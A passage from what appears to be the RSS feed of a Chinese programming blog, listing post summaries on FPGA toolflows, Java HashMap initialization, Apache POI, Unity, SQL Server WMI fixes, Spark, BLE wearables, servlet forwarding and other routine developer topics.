IOBS)中。&#xA;MAP:&#xA;MAP命令是将NGDBuild命令所生成的ngd文件，映射到具体的FPGA器件里面去。MAP将产生一个NCD文件供PAR使用。&#xA;生成文件：*.ncd&#xA;布局布线Place &amp;amp; Route：&#xA;把组件放置于芯片中，连接组件，并提取时序数据到报告文件。&#xA;PAR:&#xA;Place &amp;amp; Route。将逻辑网表适配到FPGA的底层硬件结构上的操作，输出为FPGA配置文件。&#xA;时序分析报告：&#xA;TRCE:&#xA;这个是用来产生偶们最最关心的timingreport的。TRCE会分析你的FPGA的设计并且产生一个后缀名为“.twr”的时序报告。你可以用任何文 本工具打开它，也可以用xilinx的Timing Analyzer。Timing Analyzer比较直观，推荐新手使用。&#xA;生成下载文件：&#xA;Bitgen：&#xA;顾名思义，这个Bitgen就是用来generate programming file啦。&#xA;生成文件：*.bit</description>
    </item>
    <item>
      <title>数据可视化QQ群</title>
      <link>https://bchobby.github.io/posts/22681d5b91e4f68c6ee6505d95403553/</link>
      <pubDate>Sat, 05 Nov 2016 10:20:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22681d5b91e4f68c6ee6505d95403553/</guid>
      <description> 你会遇到一群最早的D3研究者、布道者和实践者。阿里长期招聘前端、可视化岗位有兴趣可以发送简历至tianxu.ztx@alibaba-inc.com&#xA;加群讨论 -新手群专业群研究群说明免费（暂时）付费免费（新手别加）群名D3.jsD3数据可视化大数据可视化群号437278817205076374436442115二维码 </description>
    </item>
    <item>
      <title>new HashMap(){{put(&#34;id&#34;, &#34;001&#34;);}}的解释</title>
      <link>https://bchobby.github.io/posts/0d3cf0dad619adc3e340adae840dfb46/</link>
      <pubDate>Fri, 04 Nov 2016 14:39:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0d3cf0dad619adc3e340adae840dfb46/</guid>
      <description>一、HashMap的初始化 1、HashMap 初始化的文艺写法 HashMap 是一种常用的数据结构，一般用来做数据字典或者 Hash 查找的容器。普通青年一般会这么初始化：&#xA;HashMap&amp;lt;String, String&amp;gt; map = new HashMap&amp;lt;String, String&amp;gt;(); map.put(&#34;Name&#34;, &#34;June&#34;); map.put(&#34;QQ&#34;, &#34;2572073701&#34;); 看完这段代码，很多人都会觉得这么写太啰嗦了，对此，文艺青年一般这么来了： HashMap&amp;lt;String, String&amp;gt; map = new HashMap&amp;lt;String, String&amp;gt;() { { put(&#34;Name&#34;, &#34;June&#34;); put(&#34;QQ&#34;, &#34;2572073701&#34;); } }; 嗯，看起来优雅了不少，一步到位，一气呵成的赶脚。然后问题来了，有童鞋会问：纳尼？这里的双括号到底什么意思，什么用法呢？哈哈，其实很简单，看看下面的代码你就知道啥意思了。 public class Test { /*private static HashMap&amp;lt; String, String&amp;gt; map = new HashMap&amp;lt; String, String&amp;gt;() { { put(&#34;Name&#34;, &#34;June&#34;); put(&#34;QQ&#34;, &#34;2572073701&#34;); } };*/ public Test() { System.out.println(&#34;Constructor called：构造器被调用&#34;); } static { System.out.println(&#34;Static block called：静态块被调用&#34;); } { System.</description>
    </item>
    <item>
      <title>POI 解决写入excel内存溢出</title>
      <link>https://bchobby.github.io/posts/d4419248031b9a84ec5b003ced34695a/</link>
      <pubDate>Wed, 02 Nov 2016 18:37:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4419248031b9a84ec5b003ced34695a/</guid>
      <description>POI写入excel表 下面是结构图&#xA;大批量数据读取写入的问题 在项目中遇到二十万行数据要写入到excel中时会内存溢出，一般方法是调大tomcat的内存，但是调到2048M还是会内存溢出报错&#xA;poi官网给了一种大批量数据写入的方法&#xA;使用SXXFWorkbook 类进行大批量写入操作解决了这个问题&#xA;import junit.framework.Assert; import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet; import org.apache.poi.ss.usermodel.Workbook; import org.apache.poi.ss.util.CellReference; import org.apache.poi.xssf.streaming.SXSSFWorkbook; public static void main(String[] args) throws Throwable { SXSSFWorkbook wb = new SXSSFWorkbook(100); // keep 100 rows in memory, exceeding rows will be flushed to disk Sheet sh = wb.createSheet(); for(int rownum = 0; rownum &amp;lt; 1000; rownum++){ Row row = sh.createRow(rownum); for(int cellnum = 0; cellnum &amp;lt; 10; cellnum++){ Cell cell = row.</description>
    </item>
    <item>
      <title>Unity使用Random对数组随机排序</title>
      <link>https://bchobby.github.io/posts/591051c9ea824b8b0fc766570f291633/</link>
      <pubDate>Wed, 02 Nov 2016 11:39:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/591051c9ea824b8b0fc766570f291633/</guid>
      <description>说明： 本文简单实现一个在Unity使用Random对数组随机排序的小功能。&#xA;代码如下所示： using UnityEngine;&#xD;using System.Collections;&#xD;public class random : MonoBehaviour&#xD;{&#xD;//初始化N个整形数组&#xD;int []numArray = new int[6];&#xD;//随机的次数&#xD;int numCount = 0;&#xD;void Start()&#xD;{&#xD;for (int i = 0; i &amp;lt; numArray.Length; i++)&#xD;{&#xD;numArray[i] = i;&#xD;}&#xD;}&#xD;void Update()&#xD;{&#xD;if (Input.GetMouseButtonDown(0))&#xD;{&#xD;numCount++;&#xD;Debug.Log(&#34;第&#34;+numCount.ToString()+&#34;次随机如下所示：******************************&#34;);&#xD;Shuffle(numArray,numCount);&#xD;}&#xD;}&#xD;void Shuffle(int[] intArray,int num)&#xD;{&#xD;for (int i = 0; i &amp;lt; intArray.Length; i++)&#xD;{&#xD;int temp = intArray[i];&#xD;int randomIndex = Random.</description>
    </item>
    <item>
      <title>在modelsim中添加altera仿真库</title>
      <link>https://bchobby.github.io/posts/e43e1abd193dc04d84148ca5910e8bb8/</link>
      <pubDate>Fri, 28 Oct 2016 11:29:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e43e1abd193dc04d84148ca5910e8bb8/</guid>
      <description>在modelsim中添加altera仿真库 转载▼ 我们要建四种库：（1）lpm，调用了lpm 元件的设计仿真时需要；（2）altera_mf，调用了Altera 的MegaFunction 的设计的仿真时需要；（ 3 ）altera_primitive,调用了Altera 的原语（primitive）的设计的仿真时需要；（4）元件库,例如cyclone. 在仿真中必用的特定型号的FPGA/CPLD 的库。前三种库是调用了相应的ALTERA 设计模块的设计进行仿真时必备的库。第四种库是进行综合后功能仿真和布线后时序仿真必备的库。&#xA;上面是资料中说的，但真正添加后，编译时提示没有sgate库，也不知道这个库具体有什么功能（明天上班后问问），于是又添加了这个库。（先编译的这个库）&#xA;在编译元件库时又提示找不到altera库，于是又把lmp、altera_mf、primitive中的文件都添加到altera的文件夹内编译，编译通过建立了altera库后再编译元件库时不再提示错误。&#xA;在modelsim的安装目录下新建了一个altera_lib的文件夹，文件夹内又新建了lmp、sgate、altera_mf、altera、primitive、arriaii（我用的是arriaii的器件）五个文件夹，如下图&#xA;然后打开modelsim软件，在file》new中新建立一个project，如下图，注意project nanme和project location的命名和路径选择。&#xA;点OK后，在工程中添加源文件。源文件都在Quartus II的安装目录的\eda\sim_lib里，比如我的 D:\altera\91\quartus\eda\sim_lib&#xA;lmp库源文件：对 Verilog 和VHDL，分别选以下的文件：&#xA;■ 220model.v (Verilog HDL)&#xA;■ 220pack.vhd and 220model.vhd (VHDL)&#xA;sgate源文件：&#xA;■ sgate.v (for Verilog HDL)&#xA;■sgate.vhd和sgate_pack.vhd (for VHDL)&#xA;altera_mf库源文件：&#xA;■ altera_mf.v (for Verilog HDL)</description>
    </item>
    <item>
      <title>启动SQL Server 2008 配置管理器时，出现以下提示错误:无法连接到WMI提供程序。您没有权限或者该服务器无法访问</title>
      <link>https://bchobby.github.io/posts/e05898c7b65545350b2f8fb07b059023/</link>
      <pubDate>Fri, 28 Oct 2016 09:39:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e05898c7b65545350b2f8fb07b059023/</guid>
      <description> 以管理员身份运行“命令提示符”，进入后执行以下命令&#xA;1)cd /d C:\Program Files\Microsoft SQL Server\100\Shared&#xA;2)mofcomp &#34;C:\Program Files\Microsoft SQL Server\100\Shared\sqlmgmproviderxpsp2up.mof&#34;&#xA;当看到有如下信息时表明操作成功&#xA;MOF file has been successfully parsed&#xA;Storing data in the repository...&#xA;Done!&#xA;注意路径，可能是：C:\Program Files (x86)\Microsoft SQL Server\100\Shared&#xA;其他方法：&#xA;在网上继续搜，这时看到有人说是管理员（administrator）没有 network service的权限，所以 WMI无法打开。 设置的方法很简单，网络上都有： 1 右击“我的电脑”--&amp;gt;“管理” 2 在“本地用户和组”内的Administrators组上双击，出现添加属性对话框。 3 单击“添加”按钮，出现添加用户对话框 4 单击“高级”按钮，再单击“搜索”（或是“立即查找”）按钮。注：此&#39;NT AUTHORITY\NETWORK SERVICE&#39;用户为系统内置帐户，无法直接添加。 5 在“搜索结果”内选择“Network Service”用户后，单击“确定” 按照以上的步骤设置之后，进入配置管理器，问题依旧出现……到了这里实在让人郁闷的不行。 这时又看到一个新方法：检查一下 windows下的system32 中是否有framedyn.dll这个系统文件，如果没有到system32 下的wbem文件中拷贝framedyn.dll到system32 目录下。 我进到system32目录找framedyn.dll文件，果然没有找到，再进入system32\wbem目录，找framedyn.dll，拷贝到system32目下。再次进入配置管理器，这次终于成功了！！！问题终于解决了！！！这主要是通过Java 或者vc连接数据库遇到的问题。 </description>
    </item>
    <item>
      <title>MFC 对话框程序返回值</title>
      <link>https://bchobby.github.io/posts/e75d20d49a6b8258bddad69fb9c46b82/</link>
      <pubDate>Mon, 24 Oct 2016 14:47:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e75d20d49a6b8258bddad69fb9c46b82/</guid>
      <description>控制台程序可以很方便的获取到程序的返回值，MFC对话框程序返回值的获取就没有控制台程序获取那么方便了。&#xA;在MFC对话框程序中有两个大类，一个是应用程序类，一个是用于显示见面的对话框类。由于人和程序的交互是通过&#xA;对话框类实现，而操作系统获取程序返回值却只能从应用程序类获取返回值。&#xA;因此为了获取对话框程序的返回值，可以通过以下步骤实现。&#xA;1.在应用程序类中定义一个整型类型的返回值变量，m_iRetCode，在应用程序类的构造函数中初始化为零。&#xA;2.在对话框类中通过应用程序的全局变量theApp.m_iRetCode实现对返回值的设置。&#xA;3.在应用程序类中通过类向导，重载ExitInstance()函数，并在实现中添加return m_iRetCode;语句。&#xA;4.如此在DOS命令窗口中通过start /wait 程序名.exe ，和echo %errorlevel%即可获取到程序的实际返回值。&#xA;注意：由于DOS中变量存在延迟，所有需要通过/WAIT参数获取程序实际的返回值。</description>
    </item>
    <item>
      <title>Spark连接外部数据源解读</title>
      <link>https://bchobby.github.io/posts/45026f1bf804fb43289a9ef9ab500292/</link>
      <pubDate>Fri, 21 Oct 2016 12:51:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45026f1bf804fb43289a9ef9ab500292/</guid>
      <description>博主历时三年倾注大量心血创作的《大数据平台架构与原型实现：数据中台建设实战》一书已由知名IT图书品牌电子工业出版社博文视点出版发行，真诚推荐给每一位读者！点击《重磅推荐：建大数据平台太难了！给我发个工程原型吧！》了解图书详情，扫码进入京东手机购书页面！ 本文以连接HBase数据库为例，介绍Spark DataSource API的结构。项目源码：https://github.com/hortonworks-spark/shc 注：由于某些原因，尚无充裕时间进行更深入的解读，本文先着重数据源注册和写入两个流程，后续文章会继续跟进。本文原文出处: http://blog.csdn.net/bluishglc/article/details/52882250 严禁任何形式的转载，否则将委托CSDN官方维护权益！&#xA;注册流程 位置：org.apache.spark.sql.execution.datasources.hbase.examples.HBaseSource,Line：75&#xA;def withCatalog(cat: String): DataFrame = { sqlContext .read .options(Map(HBaseTableCatalog.tableCatalog-&amp;gt;cat)) .format(&#34;org.apache.spark.sql.execution.datasources.hbase&#34;) .load() } read方法会创建一个DataFrameReader实例并返回，后续的options和format是在为新创建的DataFrameReader实例注册相关信息，最终是通过load方法，在基于options和format传入的信息基础之上，初始化了一个DataFrame.&#xA;位置： org.apache.spark.sql.DataFrameReader#load， Line： 118&#xA;def load(): DataFrame = { val resolved = ResolvedDataSource( sqlContext, userSpecifiedSchema = userSpecifiedSchema, partitionColumns = Array.empty[String], provider = source, options = extraOptions.toMap) DataFrame(sqlContext, LogicalRelation(resolved.relation)) } 在创建DataFrame实例时，最重要的是需要传入一个LogicalRelation, 而LogicalRelation需要一个BaseRelation（对BaseRelation进行包裹），BaseRelation的主要用途是描述数据的Schema，这里的我们要传入的BaseRelation实例是通过ResolvedDataSource的apply方法创建的字段：relation, 这个relation的创建发生在：org.apache.spark.sql.execution.datasources.ResolvedDataSource#apply Line 153 - 158&#xA;case None =&amp;gt; clazz.newInstance() match { case dataSource: RelationProvider =&amp;gt; val caseInsensitiveOptions = new CaseInsensitiveMap(options) if (caseInsensitiveOptions.</description>
    </item>
    <item>
      <title>文件对比工具Beyond Compare使用方法(BCompare)</title>
      <link>https://bchobby.github.io/posts/c518da3aff6ff012616b49146506902e/</link>
      <pubDate>Fri, 21 Oct 2016 11:51:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c518da3aff6ff012616b49146506902e/</guid>
      <description>eyond Compare是一个很不错的文件/文件夹比较软件，第三版的Beyond Compare是在第二版之上的完全重构。类似从第一版到第二版的过渡，第三版重新考虑了用户界面，重新设计了内部基本结构并增加了显著的新功能。Beyond Compare 可以对文本、mp3、图片、数据、注册表等进行比较分析。对于程序员，你可以用它来对比两份代码的变化，甚至可以用它来比较文件版本和文件夹。在进行文件比较的使用界面中，软件提供了全部显示、差异显示、相同行显示、逐段比较、交换两侧等极其方便的按钮，使用文本差异一目了然，显而易见。与其它同类软件相比，Beyond Compare 3 除了具体以上全面的比较功能外，还附带了文件合并和文件夹同步两种实用工具。&#xA;全面启用unicode，不仅支持Unicode文件内容，而且支持Unicode文件名，下载完成后，解压缩，双击目录中的“BCompare.exe”即可使用工具了。&#xA;工具的使用&#xA;2.1 文件对比&#xA;1. 打开工具后，工具的主界面如下图所示。可以看到我们可以选择多种对比方式，这里先介绍文件对比。&#xA;2. 在左侧的目录中选择文本比较，会弹出比较界面。界面分为左右两个部分，分别用于显示我们需要进行的对比两个文件的具体内容&#xA;3. 在左右两边的下拉框中输入我们需要对比的文件的目录，并按回车，下方即可显示文件的具体内容。我在下拉框中可以输入本地文件路径，网络路径，FTP路径等多。下图左侧为FTP文件（访问FTP时需要输入用户名和密码），右侧为本地文件。&#xA;4. 文件对比结果大家已经看见了，不同的部分，工具可以自动以红色字体显示，而相同的部分则不会着重显示。如果文件内容较多，我们无法方便的浏览所有内容，查找出文件中不同内容或相同的内容。可以点击工具栏上的“≠”或“=”，“≠”表示显示所有不同的内容，“=”表示显示所有相同的内容。这样就可以一目了然的查看我们需要的信息了&#xA;2.2 文件夹对比&#xA;1. 如果需要对比大量文件那又该如何处理呢，这里我们就需要用到文件夹对比了。新建会话“文件夹比较”&#xA;2. 在左右两边的下拉框中输入文件夹路径，下方将显示路径目录下所有文件夹和文件&#xA;3. 选中一个文件夹，点击工具栏上的“比较内容”按钮 弹出“比较内容”对话框，这里我们选择“二进制比较”，点击“开始”&#xA;4. 工具将会对文件夹中所有文件进行逐个对比，相同的文件会在中间显示“=”，不同的文件会在中间显示“≠”&#xA;文件对比的速度较快，可以快速完成大批量文件的对比。&#xA;2.3 版本对比&#xA;本人对于工具的“版本对比”功能也很喜欢，通过该功能我们可以一目了然看到不同程序的版本情况。对比方法与文件对比方法一致。&#xA;2.4 其他功能&#xA;Beyond Compare还有很多实用的对比功能，如：MP3比较，数据比较，图片比较，注册表比较等。甚至还有文件同步，文本合并这些功能。</description>
    </item>
    <item>
      <title>ArcGIS中去除Z或M值的方法</title>
      <link>https://bchobby.github.io/posts/9a20a3760e53493ca5ee094a0c7adb19/</link>
      <pubDate>Fri, 21 Oct 2016 09:48:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9a20a3760e53493ca5ee094a0c7adb19/</guid>
      <description>最近在处理海绵城市的数据，拿到的dwg数据中，基本都含有标高，在ARCGIS中将线要素转成Polyline，进行 线转面 操作的过程中，出现Z值超出范围的错误。经过长时间的探寻，发现是由于转出的Polyline的数据类型为 折线 ZM造成的，也就是说点坐标中含有 Z和M值，如下图所示：&#xA;那么如何去除坐标中包含的Z和M值呢？将Z和M值设置成Disabled，然后进行复制要素的操作即可。具体的设置方式有以下两种：&#xA;1. 进行全局性的设置：在 地理处理 → 环境中，将M值和Z值的输出均设置成 Disabled，此种设置对之后的所有操作均有效；&#xA;2. 进行布局的设置：在进行复制要素的操作时，在环境中，将Z和M值设置成Disabled，此种操作只对本次操作有效。&#xA;进行上述设置后，再进行要素转换的操作（即重新导出成Shapefile或Feature Class），工具位置如下：&#xA;ArcToolbox -&amp;gt; Conversion Tool -&amp;gt; To Geodatabase -&amp;gt; Feature class to Feature Class&#xA;ArcToolbox -&amp;gt; Conversion Tool -&amp;gt; To Shapefile-&amp;gt; Feature Class To Shapefile (multiple)&#xA;进行转换后，得到的要素类的数据如下：&#xA;如图所示，点坐标中的Z和M值已被去掉，再进行如线转面等操作，就没有任何问题。</description>
    </item>
    <item>
      <title>armcc/armlink初探</title>
      <link>https://bchobby.github.io/posts/04a7ec4a02e532874cf36dfcbc0f7162/</link>
      <pubDate>Sun, 16 Oct 2016 21:01:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04a7ec4a02e532874cf36dfcbc0f7162/</guid>
      <description>RealView编译工具armcc可以将c/c++ source code编译成arm target的object文件。&#xA;关于armcc的指导文档可以参照&#xA;http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0206ic/Chdefbgg.html&#xA;同样可以在上面查找关于ARM体系结构，ARM软件开发工具，RealView链接工具等主题的参考文档。上面的文档构成一个系列，在开始正式面向硬件开始C coding之前，这些基础知识是要熟悉的。不然写出的程序在SOC上怎么跑的都不甚了了，总是个欠缺。&#xA;1. 关于armcc&#xA;在我用的Keil [miu]Version3中，对于STM32f103 soc的工程，Options for Target &#39;$project_name&#39;-&amp;gt;C/C++中Complier control string如下：&#xA;-c --device DARMSTM -D__MICROLIB -g -O0 --apcs=interwork -I..\SYSTEM\delay -I..\SYSTEM\sys -I..\SYSTEM\usart -I..\HARDWARE\LED -I..\HARDWARE\KEY -I &#34;d:\Keil\ARM\INC\ST\STM32F10x&#34; -o &#34;*.o&#34; --omf_browse &#34;*.crf&#34; --depend &#34;*.d&#34;&#xA;参照上面的RealView编译工具指南，逐个探究其含义。&#xA;-c:：此选项指示armcc只编译不连接。注意此处是小写字母c。&#xA;--device：指示为哪个微控制器或者SoC生成目标代码。&#xA;-D：在命令行中定义宏。例如，-D__MICROLIB等效于C语句#define __MICROLIB 1。-D后可以接多个宏，以逗号隔开。注意逗号和宏名称之间不能含有空格。&#xA;-g：提示编译过程中生成调试用的符号表。&#xA;-O0：-O之后接数字（可取[0-3]）表示编译器对source code的优化等级。&#xA;--apcs：这些字母是《ARM 体系结构的过程调用标准》的英文首字母缩写。以下是摘录自《RealView编译工具-编译器指南》&#xA;“语法&#xA;--apcs=qualifer...qualifier&#xA;其中，qualifier...qualifier 表示限定符的列表。该列表必须符合下列条件：&#xA;• 至少包含一个限定符&#xA;• 其中的各限定符之间没有空格分隔。&#xA;qualifier 的每个实例必须为下列值之一：&#xA;/interwork、/nointerwork&#xA;在支持或不支持 ARM/Thumb™ 交互操作的情况下生成代码。缺省值为 /nointerwork（缺省值为 /interwork 的 ARMv6 及更高版本除外）。&#xA;/ropi、/noropi 允许或禁止生成只读位置无关 (ROPI) 代码。缺省为 /noropi。/[no]pic 是 /[no]ropi 的别名。</description>
    </item>
    <item>
      <title>把request对象中的请求参数封装到bean中/生成UUID</title>
      <link>https://bchobby.github.io/posts/eefb776870fe119366598a2a82bcbde7/</link>
      <pubDate>Sun, 16 Oct 2016 16:20:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eefb776870fe119366598a2a82bcbde7/</guid>
      <description>package me.gacl.util; import java.util.Enumeration; import java.util.UUID; import javax.servlet.http.HttpServletRequest; import org.apache.commons.beanutils.BeanUtils; /** * @author gacl * 把request对象中的请求参数封装到bean中 */ public class WebUtils { /** * 将request对象转换成T对象 * @param request * @param clazz * @return */ public static &amp;lt;T&amp;gt; T request2Bean(HttpServletRequest request,Class&amp;lt;T&amp;gt; clazz){ try{ T bean = clazz.newInstance(); Enumeration&amp;lt;String&amp;gt; e = request.getParameterNames(); while(e.hasMoreElements()){ String name = (String) e.nextElement(); String value = request.getParameter(name); BeanUtils.setProperty(bean, name, value); } return bean; }catch (Exception e) { throw new RuntimeException(e); } } /** * 生成UUID * @return */ public static String makeId(){ return UUID.</description>
    </item>
    <item>
      <title>蓝牙 穿戴手环通信原理</title>
      <link>https://bchobby.github.io/posts/eb8d07edccc51e7b5f7291efb772c003/</link>
      <pubDate>Sun, 16 Oct 2016 12:53:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eb8d07edccc51e7b5f7291efb772c003/</guid>
      <description>1 前言 当前有越来越多的可穿戴设备使用了蓝牙4.0 BLE（Bluetooth Low Energy)。对于iOS开发而言，Apple之前专门推出CoreBluetooth的Framework来支持BLE的开发。对于硬件开发有了解的朋友应该知道，在之前使用低版本的蓝牙的设备，要连接到iOS设备上，需要注册MFI，拥有MFI协议才能进行相应的开发。如果大家关注我之前对LEGO EV3的研究，就可以发现，EV3是使用了蓝牙2.1，因此需要MFI协议来进行开发。&#xA;本文将一步一步讲解如何使用CoreBluetooth框架来与各种可穿戴设备进行通信，使用 小米手环 来进行基本的测试。 2 开发环境 1 Macbook Pro Mac OS X 10.10 2 Xcode 6.3.2 3 iPhone 5s v8.1 4 小米手环&#xA;3 基本流程 要开发蓝牙，需要对整个通讯过程有个基本了解。这里我摘录一些Apple官方的文档Core Bluetooth Programming Guide的图片来加以说明。这个文档其实对于开发的流程写的是非常的清楚，大家最好可以看一下。&#xA;3.1 可穿戴设备与iOS互联方式 从上面这幅图可以看到，我们的iOS设备是Central，用来接收数据和发送命令，而外设比如小米手环是Peripheral，向外传输数据和接收命令。我们要做的就是通过Central来连接Peripheral，然后实现数据的接收和控制指令的发送。在做到这一步之后，再根据具体的硬件，对接收到的数据进行parse解析。&#xA;3.2 可穿戴设备蓝牙的数据结构 这里用的是心率设备来做说明，每个外设Peripheral都有对应的服务Service，比如这里是心率Service。一个外设可以有不止一个s、Service。每个service里面可以有多个属性Characteristic，比如这里有两个Characteristic，一个是用来测量心率，一个是用来定位位置。&#xA;那么很关键的一点是每个Service，每个Characteristic都是用UUID来确定的。UUID就是每个Service或Characteristic的identifier。&#xA;大家可以在iPhone上下载LightBlue这个应用。可以在这里查看一些设备的UUID。 在实际使用中，我们都是要通过UUID来获取数据。这点非常重要。 在CoreBluetooth中，其具体的数据结构图如下： 4 Step-By-Step 上手BLE开发 4.1 Step 1 创建CBCentralManager 从名字上大家可以很清楚的知道，这个类是用来管理BLE的。我们也就是通过这个类来实现连接。&#xA;先创建一个：&#xA;&amp;lt;code class=&#34;hljs objectivec has-numbering&#34; style=&#34;display: block; padding: 0px; background-color: transparent; color: inherit; box-sizing: border-box; font-family: &#39;Source Code Pro&#39;, monospace;font-size:undefined; white-space: pre; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; word-wrap: normal; background-position: initial initial; background-repeat: initial initial;&#34;</description>
    </item>
    <item>
      <title>转发 VS 重定向</title>
      <link>https://bchobby.github.io/posts/1764f5ef01463a616b063d78feb8486a/</link>
      <pubDate>Thu, 13 Oct 2016 16:56:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1764f5ef01463a616b063d78feb8486a/</guid>
      <description>转发：JSP容器将使用一个内部的方法来调用目标页面，新的页面继续处理同一个请求，而浏览器将不会知道这个过程.以前的request中存放的变量全部失效，并进入一个新的request作用域。&#xA;重定向：第一个页面通知浏览器发送一个新的页面请求.以前的request中存放的变量不会失效，就像把两个页面拼到了一起。&#xA;VS&#xA;使用重定向时，浏览器中所显示的URL会变成新页面的URL, 而当使用转发时，该URL会保持不变。重定向的速度比转发慢，因为浏览器还得发出一个新的请求。同时，由于重定向方式产生了一个新的请求，所以经过一次重 定向后，request内的对象将无法使用。&#xA;通常情况下转发更快，而且能保持request内的对象，所以他是第一选择。但是由于在转发之后，浏览器中URL仍然指向开始页面，此时如果重载当前页面，开始页面将会被重新调用。如果你不想看到这样的情况，则选择转发。&#xA;他们的调用分别如下：&#xA;request.getRequestDispatcher(&#34;apage.jsp&#34;).forward(request, response);//转发到apage.jsp&#xA;response.sendRedirect(&#34;apage.jsp&#34;);//重定向到apage.jsp&#xA;在jsp页面中你也会看到通过下面的方式实现转发：&#xA;&amp;lt;jsp:forward page=&#34;apage.jsp&#34; /&amp;gt;&#xA;（1）RequestDispatcher.forward 方法只能将请求转发给同一个WEB应用中的组件；而HttpServletResponse.sendRedirect 方法不仅可以重定向到当前应用程序中的其他资源，还可以重定向到同一个站点上的其他应用程序中的资源，甚至是使用绝对URL重定向到其他站点的资源。如果 传递给HttpServletResponse.sendRedirect 方法的相对URL以“/”开头，它是相对于整个WEB站点的根目录；如果创建RequestDispatcher 对象时指定的相对URL以“/”开头，它是相对于当前WEB应用程序的根目录。&#xA;（2）调用HttpServletResponse.sendRedirect 方法重定向的访问过程结束后，浏览器地址栏中显示的URL会发生改变，由初始的URL地址变成重定向的目标URL；而调用 RequestDispatcher.forward 方法的请求转发过程结束后，浏览器地址栏保持初始的URL地址不变。&#xA;（3）HttpServletResponse.sendRedirect 方法对浏览器的请求直接作出响应，响应的结果就是告诉浏览器去重新发出对另外一个URL的访问请求。&#xA;（4）RequestDispatcher.forward 方法的调用者与被调用者之间共享相同的request 对象和response 对象，它们属于同一个访问请求和响应过程；而HttpServletResponse.sendRedirect 方法调用者与被调用者使用各自的request 对象和response 对象，它们属于两个独立的访问请求和响应过程。&#xA;对于同一个WEB应用程序的内部资源之间的跳转，特别是跳转之前要对请求进行一些前期预处理，并要使用 HttpServletRequest.setAttribute 方法传递预处理结果，那就应该使用RequestDispatcher.forward 方法。&#xA;不同WEB应用程序之间的重定向，特别是要重定向到另外一个WEB站点上的资源的情况，都应该使HttpServletResponse.sendRedirect 方法。&#xA;（5）无论是RequestDispatcher.forward 方法，还是HttpServletResponse.sendRedirect 方法，在调用它们之前，都不能有内容已经被实际输出到了客户端。如果缓冲区中已经有了一些内容，这些内容将被从缓冲区中清除。&#xA;转载于:https://www.cnblogs.com/yangfei-beijing/p/5957103.html</description>
    </item>
    <item>
      <title>Unity和Arduino交互系列——点亮LED</title>
      <link>https://bchobby.github.io/posts/a3afd672c468ef3bef252ecfe1e99c1c/</link>
      <pubDate>Thu, 13 Oct 2016 11:09:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3afd672c468ef3bef252ecfe1e99c1c/</guid>
      <description>这次主要讲一个韩国团队开发的Unity开发包，这个开发包所使用的其实和之前我写过的Unity和Arduino串口通信使用的方法是一样的，只是他们将其进行了封装，并且在上层进行了普通功能的简单操作，形成了一个可扩展的编辑器。&#xA;之所以选择并推荐这个开发包，是因为除了基础的通信功能，其他的都是开源的，我们可以根据需求各个模块进行再次封装编辑。&#xA;第一步：新建Unity工程，找到Window-&amp;gt;Asset Store，搜索ARDunity，选择ARDUnity Basis 就可以了&#xA;点击导入，等到完全导入之后，就可以看到&#xA;简单介绍一下几个特殊的文件夹：&#xA;ARDUnity/Arduino这个里面是Arduino相关的文件，是C++形式的，在后面你会了解到，这些文件在你导出Arduino的Sketch时候会被导出，当然是根据你用到的来进行导出的。&#xA;ARDUnity/Examples这里面都是相关的例子，包括Digital控制LED，Analog控制LED，控制电机，以及一些传感器。&#xA;ARDUnity/Plugins这里面是对移动平台的封装，通过OTG连接Arduino也是可以直接进行控制的&#xA;ARDUnity/Scripts这个文件夹是用来放置Unity端和Arduino进行交互的脚本，是一个桥梁的作用&#xA;文件夹大致就是这些，下面我们来看简单的点亮LED的案例&#xA;第二步：&#xA;1、打开ARDUnity/Examples/LED/Analog/CircuitTest(Analog LED)&#xA;2、找到Unity左上方工具栏，找到ARDUnity-&amp;gt;Wire Editor，这时会出现一个弹出界面，如果你之前玩过类似PlayeMaker，那对于这个就轻车熟路了。&#xA;3、界面及内容：下图已经注解了，具体的等我们实践时候再讲，不过要说一下的是AnalogOutput其中ID是这个输出模块的序号，Pin~3是具有PWM输出的3号端口&#xA;4、导出Arduino的Sketch，在上图的右侧可以看到，点击之后，选择导出的位置和文件名字，我导出的是桌面/L edTest，下面来看里面的内容&#xA;第三步：&#xA;1、我们用Arduino编辑器来打开刚刚导出的Sketch&#xA;2、插上Arduino，选择号端口号以及使用的板子，我的端口号是4板子是Arduino Uno，点击烧录，将Sketch烧录进去&#xA;烧录完成后不要拔掉Arduino，毕竟我们需要它和电脑通信，现在可以先将电路连接好&#xA;第四步：&#xA;1、打开刚才的Unity编辑器，点击Search，选择你的Arduino端口我的是Com4&#xA;2、现在可以点击Unity的Play按钮了，运行之后会发现，右侧原本是Export Sketch现在变成了Connect&#xA;点击进行连接，连接Arduino&#xA;3、找到Hierarchy面板下Ardunity/LED可以看到由此Imspector面板&#xA;4、用鼠标拖动Value滑动，看看LED的变化吧&#xA;视频不好弄，就不上传了，以后准备录一些视频教程，到时候再说吧，如果有什么问题，以及建议，欢迎和我进行交流</description>
    </item>
    <item>
      <title>notepad&#43;&#43;快速在每行头尾都加上指定的内容</title>
      <link>https://bchobby.github.io/posts/b7deea276ad61d256a001f2b173ec346/</link>
      <pubDate>Mon, 10 Oct 2016 12:59:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7deea276ad61d256a001f2b173ec346/</guid>
